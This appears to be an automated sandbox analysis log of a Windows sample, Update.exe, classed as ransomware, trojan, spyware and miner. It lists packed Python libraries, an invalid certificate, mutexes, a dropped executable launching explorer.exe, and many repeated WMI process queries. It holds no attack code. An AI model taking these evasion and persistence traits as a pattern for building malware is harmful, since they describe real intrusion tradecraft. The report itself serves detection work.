Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAF4DFBF appears 216 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAFA698D appears 46 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FF623F72910 appears 34 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAF4E055 appears 105 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAEE12EE appears 574 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FF623F72710 appears 104 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAFA2A09 appears 165 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAFA405C appears 597 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAFA1EF6 appears 1173 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAFA4840 appears 107 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAFA24BE appears 66 times
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAFA2739 appears 410 times
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: String function: 00007FF771DB1394 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: String function: 00007FF633FE1394 appears 33 times
PE / OLE file has an invalid certificate
Source: Update.exe Static PE information: invalid certificate
PE file contains executable resources (Code or Archives)
Source: rar.exe.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Sample file is different than original file name gathered from version info
Source: Update.exe Binary or memory string: OriginalFilename vs Update.exe
Source: Update.exe, 00000000.00000003.1664178146.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibsslH vs Update.exe
Source: Update.exe, 00000000.00000003.1662760568.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_ssl.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1662273737.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_decimal.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1662388921.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_hashlib.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1666677887.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameunicodedata.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1662687144.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_sqlite3.pyd. vs Update.exe
Source: Update.exe, 00000000.00000000.1661513638.00007FF623FB4000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamewcodstub.dllj% vs Update.exe
Source: Update.exe, 00000000.00000003.1662455082.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_lzma.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1662193789.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_ctypes.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1661738762.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevcruntime140.dllT vs Update.exe
Source: Update.exe, 00000000.00000003.1662115518.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_bz2.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1666010407.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesqlite3.dll0 vs Update.exe
Source: Update.exe, 00000000.00000003.1662618429.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_socket.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1665914931.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameselect.pyd. vs Update.exe
Source: Update.exe, 00000000.00000003.1662548156.0000019DCB061000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_queue.pyd. vs Update.exe
Source: Update.exe Binary or memory string: OriginalFilename vs Update.exe
Source: Update.exe, 00000001.00000002.1990259366.00007FFE0EB6D000.00000004.00000001.01000000.0000000E.sdmp Binary or memory string: OriginalFilename_ssl.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1994286301.00007FFE12E1C000.00000004.00000001.01000000.00000012.sdmp Binary or memory string: OriginalFilename_queue.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1989865904.00007FFE01477000.00000004.00000001.01000000.0000000B.sdmp Binary or memory string: OriginalFilenamesqlite3.dll0 vs Update.exe
Source: Update.exe, 00000001.00000002.1990700272.00007FFE10244000.00000004.00000001.01000000.00000011.sdmp Binary or memory string: OriginalFilename_hashlib.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1993235951.00007FFE1031E000.00000004.00000001.01000000.0000000A.sdmp Binary or memory string: OriginalFilename_sqlite3.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1987789006.00007FFDFB2F8000.00000004.00000001.01000000.0000000F.sdmp Binary or memory string: OriginalFilenamelibcryptoH vs Update.exe
Source: Update.exe, 00000001.00000002.1986947251.00007FFDFAF93000.00000004.00000001.01000000.00000010.sdmp Binary or memory string: OriginalFilenamelibsslH vs Update.exe
Source: Update.exe, 00000001.00000002.1994500681.00007FFE130CC000.00000004.00000001.01000000.0000000D.sdmp Binary or memory string: OriginalFilenameselect.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1995323247.00007FFE13347000.00000002.00000001.01000000.00000005.sdmp Binary or memory string: OriginalFilenamevcruntime140.dllT vs Update.exe
Source: Update.exe, 00000001.00000002.1986307068.00007FF623FB4000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamewcodstub.dllj% vs Update.exe
Source: Update.exe, 00000001.00000002.1993956246.00007FFE126FB000.00000004.00000001.01000000.00000008.sdmp Binary or memory string: OriginalFilename_lzma.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1989232104.00007FFDFB778000.00000004.00000001.01000000.00000004.sdmp Binary or memory string: OriginalFilenamepython310.dll. vs Update.exe
Source: Update.exe, 00000001.00000002.1991193682.00007FFE10268000.00000004.00000001.01000000.0000000C.sdmp Binary or memory string: OriginalFilename_socket.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1994962808.00007FFE13323000.00000004.00000001.01000000.00000006.sdmp Binary or memory string: OriginalFilename_ctypes.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1986656867.00007FFDFA227000.00000004.00000001.01000000.00000015.sdmp Binary or memory string: OriginalFilenameunicodedata.pyd. vs Update.exe
Source: Update.exe, 00000001.00000002.1993583200.00007FFE11527000.00000004.00000001.01000000.00000009.sdmp Binary or memory string: OriginalFilename_bz2.pyd. vs Update.exe
Source: libcrypto-1_1.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9983946492448331
Source: libssl-1_1.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9922997485632183
Source: python310.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9992644702528288
Source: sqlite3.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9976026860367893
Source: unicodedata.pyd.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9937050102833638
Source: classification engine Classification label: mal100.rans.troj.spyw.expl.evad.mine.winEXE@192/67@3/3
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8648:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:8676:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:8976:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8492:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8452:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9116:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:8024:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8116:120:WilError_03
Source: C:\Users\user\Desktop\Update.exe Mutant created: \Sessions\1\BaseNamedObjects\U
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7508:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5960:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7932:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8276:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8060:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8892:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8020:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4588:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7464:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:8752:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8112:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:8908:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2300:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2668:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2260:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7752:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8816:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9108:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:9000:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9064:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8968:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8092:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8300:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3448:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03
Source: C:\Users\user\Desktop\Update.exe File created: C:\Users\user\AppData\Local\Temp\_MEI68522 Jump to behavior
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\explorer.exe
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\explorer.exe
Source: Update.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
